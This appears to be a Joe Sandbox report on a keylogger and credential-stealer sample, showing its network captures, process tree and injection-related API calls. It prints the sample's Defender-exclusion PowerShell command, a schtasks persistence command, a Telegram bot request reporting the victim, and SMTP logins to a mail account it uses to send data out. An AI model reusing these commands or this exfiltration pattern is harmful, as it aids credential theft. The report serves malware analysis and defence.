18	192.168.2.4	49774	188.114.96.3	443	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:34 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-07 06:51:34 UTC	682	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:34 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40229 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qdWa6gilLejy7OWT1fDPzyf9zh3zLn9CiotFOXEK9hRjxtoBtkpXpzQfe6K5aL1MydkSuU%2Fvdy%2FrlggI7so%2FSuHjfL%2Beu3ni2YBYwBFYdQnbOxY%2BGES0jiqSdyW1p5KB4%2FaJBpc3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf6a45cd143a5-EWR
2024-10-07 06:51:34 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49775	149.154.167.220	443	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:35 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2007/10/2024%20/%2014:46:36%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-07 06:51:35 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 07 Oct 2024 06:51:35 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-07 06:51:35 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 7, 2024 08:51:37.745800972 CEST	587	50126	68.66.224.41	192.168.2.4	220-az1-ss20.a2hosting.com ESMTP Exim 4.96.2 #2 Sun, 06 Oct 2024 23:51:37 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 7, 2024 08:51:37.746129990 CEST	50126	587	192.168.2.4	68.66.224.41	EHLO 445817
Oct 7, 2024 08:51:37.895740986 CEST	587	50126	68.66.224.41	192.168.2.4	250-az1-ss20.a2hosting.com Hello 445817 [8.46.123.33] 250-SIZE 78643200 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Oct 7, 2024 08:51:37.904886961 CEST	50126	587	192.168.2.4	68.66.224.41	AUTH login aW5mb0BwcmVjaW91c3RvdWNoZm91bmRhdGlvbi5vcmc=
Oct 7, 2024 08:51:38.054722071 CEST	587	50126	68.66.224.41	192.168.2.4	334 UGFzc3dvcmQ6
Oct 7, 2024 08:51:38.209263086 CEST	587	50126	68.66.224.41	192.168.2.4	235 Authentication succeeded
Oct 7, 2024 08:51:38.209459066 CEST	50126	587	192.168.2.4	68.66.224.41	MAIL FROM:<info@precioustouchfoundation.org>
Oct 7, 2024 08:51:38.358776093 CEST	587	50126	68.66.224.41	192.168.2.4	250 OK
Oct 7, 2024 08:51:38.360194921 CEST	50126	587	192.168.2.4	68.66.224.41	RCPT TO:<info@precioustouchfoundation.org>
Oct 7, 2024 08:51:38.519470930 CEST	587	50126	68.66.224.41	192.168.2.4	250 Accepted
Oct 7, 2024 08:51:38.519705057 CEST	50126	587	192.168.2.4	68.66.224.41	DATA
Oct 7, 2024 08:51:38.669209003 CEST	587	50126	68.66.224.41	192.168.2.4	354 Enter message, ending with "." on a line by itself
Oct 7, 2024 08:51:38.670322895 CEST	50126	587	192.168.2.4	68.66.224.41	.
Oct 7, 2024 08:51:38.887080908 CEST	587	50126	68.66.224.41	192.168.2.4	250 OK id=1sxhak-0005dz-1w
Oct 7, 2024 08:51:41.383819103 CEST	587	50127	68.66.224.41	192.168.2.4	220-az1-ss20.a2hosting.com ESMTP Exim 4.96.2 #2 Sun, 06 Oct 2024 23:51:41 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 7, 2024 08:51:41.386785984 CEST	50127	587	192.168.2.4	68.66.224.41	EHLO 445817
Oct 7, 2024 08:51:41.537774086 CEST	587	50127	68.66.224.41	192.168.2.4	250-az1-ss20.a2hosting.com Hello 445817 [8.46.123.33] 250-SIZE 78643200 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Oct 7, 2024 08:51:41.538089991 CEST	50127	587	192.168.2.4	68.66.224.41	AUTH login aW5mb0BwcmVjaW91c3RvdWNoZm91bmRhdGlvbi5vcmc=
Oct 7, 2024 08:51:41.689100027 CEST	587	50127	68.66.224.41	192.168.2.4	334 UGFzc3dvcmQ6
Oct 7, 2024 08:51:41.850684881 CEST	587	50127	68.66.224.41	192.168.2.4	235 Authentication succeeded
Oct 7, 2024 08:51:41.850966930 CEST	50127	587	192.168.2.4	68.66.224.41	MAIL FROM:<info@precioustouchfoundation.org>
Oct 7, 2024 08:51:42.001827002 CEST	587	50127	68.66.224.41	192.168.2.4	250 OK
Oct 7, 2024 08:51:42.002300024 CEST	50127	587	192.168.2.4	68.66.224.41	RCPT TO:<info@precioustouchfoundation.org>
Oct 7, 2024 08:51:42.163007975 CEST	587	50127	68.66.224.41	192.168.2.4	250 Accepted
Oct 7, 2024 08:51:42.163177013 CEST	50127	587	192.168.2.4	68.66.224.41	DATA
Oct 7, 2024 08:51:42.313908100 CEST	587	50127	68.66.224.41	192.168.2.4	354 Enter message, ending with "." on a line by itself
Oct 7, 2024 08:51:42.315093040 CEST	50127	587	192.168.2.4	68.66.224.41	.
Oct 7, 2024 08:51:42.531244993 CEST	587	50127	68.66.224.41	192.168.2.4	250 OK id=1sxhao-0005eg-0m
Oct 7, 2024 08:53:17.051337004 CEST	50126	587	192.168.2.4	68.66.224.41	QUIT
Oct 7, 2024 08:53:17.402337074 CEST	587	50126	68.66.224.41	192.168.2.4	221 az1-ss20.a2hosting.com closing connection
Oct 7, 2024 08:53:20.861694098 CEST	50127	587	192.168.2.4	68.66.224.41	QUIT
Oct 7, 2024 08:53:21.214482069 CEST	587	50127	68.66.224.41	192.168.2.4	221 az1-ss20.a2hosting.com closing connection

Target ID:	0
Start time:	02:51:14
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\2i3Lj7a8Gk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2i3Lj7a8Gk.exe"
Imagebase:	0x6b0000
File size:	823'296 bytes
MD5 hash:	4CF3E3AD3BBFAF2B2950F501466FEFB7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:51:16
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"
Imagebase:	0x390000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:51:16
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:51:16
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp760C.tmp"
Imagebase:	0x3f0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:51:16
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:51:17
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\2i3Lj7a8Gk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2i3Lj7a8Gk.exe"
Imagebase:	0xc70000
File size:	823'296 bytes
MD5 hash:	4CF3E3AD3BBFAF2B2950F501466FEFB7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000006.00000002.4140515962.0000000000435000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	02:51:17
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe
Imagebase:	0xce0000
File size:	823'296 bytes
MD5 hash:	4CF3E3AD3BBFAF2B2950F501466FEFB7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:51:19
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:51:21
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp8686.tmp"
Imagebase:	0x3f0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:51:21
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:51:21
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"
Imagebase:	0x130000
File size:	823'296 bytes
MD5 hash:	4CF3E3AD3BBFAF2B2950F501466FEFB7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:51:21
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"
Imagebase:	0x3a0000
File size:	823'296 bytes
MD5 hash:	4CF3E3AD3BBFAF2B2950F501466FEFB7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:51:21
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"
Imagebase:	0x8a0000
File size:	823'296 bytes
MD5 hash:	4CF3E3AD3BBFAF2B2950F501466FEFB7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	192
Total number of Limit Nodes:	11

Executed Functions

Function 06FD0A18 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b95c5348b27421a5c3843f1fee701028b457aeee67598b8beb0a5a43cee998b
Instruction ID: d3f1d3fb68d530a499dc001ecf4ef16be53ea9217b10dc49832192f83a9a8518
Opcode Fuzzy Hash: 5b95c5348b27421a5c3843f1fee701028b457aeee67598b8beb0a5a43cee998b
Instruction Fuzzy Hash: CA710575D05209DFDB48CFE6E4809AEFBB2FF89310F14952AE415AB264DB34A942CF50

Function 06FD0A28 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e20b0e76347dfd9f39c68ab6bd5d1c6969a988ddc1130f8c90d3ab6210c2ac51
Instruction ID: b3d4fce73b74ea7b91a768fb76ea622375d175122894290fcbc9392f65269ce2
Opcode Fuzzy Hash: e20b0e76347dfd9f39c68ab6bd5d1c6969a988ddc1130f8c90d3ab6210c2ac51
Instruction Fuzzy Hash: EA710671D05209DFDB44CFE6D58099EFBB2FF89300F14952AE415AB264DB34A942CF50

Function 0110D568 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0110D5F6
GetCurrentThread.KERNEL32 ref: 0110D633
GetCurrentProcess.KERNEL32 ref: 0110D670
GetCurrentThreadId.KERNEL32 ref: 0110D6C9

Memory Dump Source

Source File: 00000000.00000002.1722705309.0000000001100000.00000040.00000800.00020000.00000000.sdmp, Offset: 01100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1100000_2i3Lj7a8Gk.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 0ec294eb14566529ced3526a35929a6595d53103f06221e2cad91ead648b30cd
Instruction ID: 457a6249cd8bfdd6d63a524b235d106b391ea43d52adb4a184d9eab6f5bcb1da
Opcode Fuzzy Hash: 0ec294eb14566529ced3526a35929a6595d53103f06221e2cad91ead648b30cd
Instruction Fuzzy Hash: 225144B0D003098FDB18DFA9D948BAEBBF1EB48314F20C459E419A72A0DB759984CF65

Function 0110D578 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0110D5F6
GetCurrentThread.KERNEL32 ref: 0110D633
GetCurrentProcess.KERNEL32 ref: 0110D670
GetCurrentThreadId.KERNEL32 ref: 0110D6C9

Memory Dump Source

Source File: 00000000.00000002.1722705309.0000000001100000.00000040.00000800.00020000.00000000.sdmp, Offset: 01100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1100000_2i3Lj7a8Gk.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 11a6321d924b7c80914bf93dfeb016b866bfcd2cf56a027e52ad98bbf3c87d33
Instruction ID: 5bd628eeea142d01bb7c5debf0ce6892063e0483bfafa24452063882f53a1bdb
Opcode Fuzzy Hash: 11a6321d924b7c80914bf93dfeb016b866bfcd2cf56a027e52ad98bbf3c87d33
Instruction Fuzzy Hash: CC5136B0D003098FDB18DFAAD948B9EBBF5EF48314F20C459E419A72A0DB759984CF65

Function 06FDB2E4 Relevance: 1.8, APIs: 1, Instructions: 274
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06FDB526

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e22c4a3b0683cb4434cce421ace7a90cb3e657a76a4f0b3903f22d7ade7638b1
Instruction ID: cd69f6573295b7f81b99a4c5cac3dbb683b4fdca034e9fd949a3f62904071614
Opcode Fuzzy Hash: e22c4a3b0683cb4434cce421ace7a90cb3e657a76a4f0b3903f22d7ade7638b1
Instruction Fuzzy Hash: F0A19DB1D00219CFDB60DF68C8417EEBBB2FF48314F1985A9D848A7290DB74A985CF91

Function 06FDB2F0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06FDB526

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 30d5be2d154b1f6a17f77481d3230854129b3fc227d6468214828490616785f7
Instruction ID: 93bf36ae884122839d202ed15e13c427d9f942203a055d3573dead574d4afc6a
Opcode Fuzzy Hash: 30d5be2d154b1f6a17f77481d3230854129b3fc227d6468214828490616785f7
Instruction Fuzzy Hash: 9B916CB1D00219CFDB50CF68C841BEEBBB2FF49314F1985A9D848A7280DB74A985CF91

Function 0110B2E1 Relevance: 1.7, APIs: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0110B546

Memory Dump Source

Source File: 00000000.00000002.1722705309.0000000001100000.00000040.00000800.00020000.00000000.sdmp, Offset: 01100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1100000_2i3Lj7a8Gk.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 1be791a7dbc259e35534ffb946ea66e92152e6f326b8b1017ed7889d4d7a2be6
Instruction ID: 6028b6e85f70a5ec36427fc0960bb4bba3b798a3b0a36c84a8075e7b64e67ad2
Opcode Fuzzy Hash: 1be791a7dbc259e35534ffb946ea66e92152e6f326b8b1017ed7889d4d7a2be6
Instruction Fuzzy Hash: 998167B4A04B058FD729DF29D04475ABBF1FF88304F10892DD58ADBA80DBB5E945CB94

Function 0110480C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01105CC1

Memory Dump Source

Source File: 00000000.00000002.1722705309.0000000001100000.00000040.00000800.00020000.00000000.sdmp, Offset: 01100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1100000_2i3Lj7a8Gk.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b41e367e81e42d32c424ddcefd2629f78500f7983c9407937d336f3f0de30a84
Instruction ID: 6a48b1b14ac03801400eb71e56df19d6bc190b8ed34f207b23c9f13affa39dec
Opcode Fuzzy Hash: b41e367e81e42d32c424ddcefd2629f78500f7983c9407937d336f3f0de30a84
Instruction Fuzzy Hash: 7041D2B0C0071DCBDB29DFA9C948B9DBBB6BF45304F20805AD408AB291DBB56945CF91

Function 01105C04 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01105CC1

Memory Dump Source

Source File: 00000000.00000002.1722705309.0000000001100000.00000040.00000800.00020000.00000000.sdmp, Offset: 01100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1100000_2i3Lj7a8Gk.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 17e78072a0e3fbff3611aaae314bbb1a6c763225815a16f6ab78c04cd1353f0e
Instruction ID: 450c2dfd803b92a70cc4c407a7b1bcf99de2b25c967aef5c13e563bccfe72e04
Opcode Fuzzy Hash: 17e78072a0e3fbff3611aaae314bbb1a6c763225815a16f6ab78c04cd1353f0e
Instruction Fuzzy Hash: 0341D3B0C00719CEDB29DFA9C944BDEBBB6BF45314F20815AD408AB291DBB56946CF90

Function 06FDAECA Relevance: 1.6, APIs: 1, Instructions: 85
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06FDAF4E

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 929af213bbe82d1e229b26d9bdfead22b0fa88b60f40dbdb3c5b2f172aca54db
Instruction ID: 2c3ded52bda9316cb3452e25ebbc0544a02870109a6ab169a08080584aa6a721
Opcode Fuzzy Hash: 929af213bbe82d1e229b26d9bdfead22b0fa88b60f40dbdb3c5b2f172aca54db
Instruction Fuzzy Hash: 373147B1D002498FDB10DFAAC485BEEFBF1EF88324F14802AD459A7241DB38A945CB94

Function 06FDB060 Relevance: 1.6, APIs: 1, Instructions: 75
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06FDB0F8

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7c5b075bd1718a1bcb408c95f107c5a5f95ad33a2f5ddac90cd3722a4c1b2103
Instruction ID: 5645508b81d3d4b2417fd242d52cefb0425c71329cb96ecef025f011fd051703
Opcode Fuzzy Hash: 7c5b075bd1718a1bcb408c95f107c5a5f95ad33a2f5ddac90cd3722a4c1b2103
Instruction Fuzzy Hash: F62168B5D003499FCB10CFAAC885BDEBBF5FF48310F10842AE918A7240C778A955CBA0

Function 06FDB068 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06FDB0F8

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

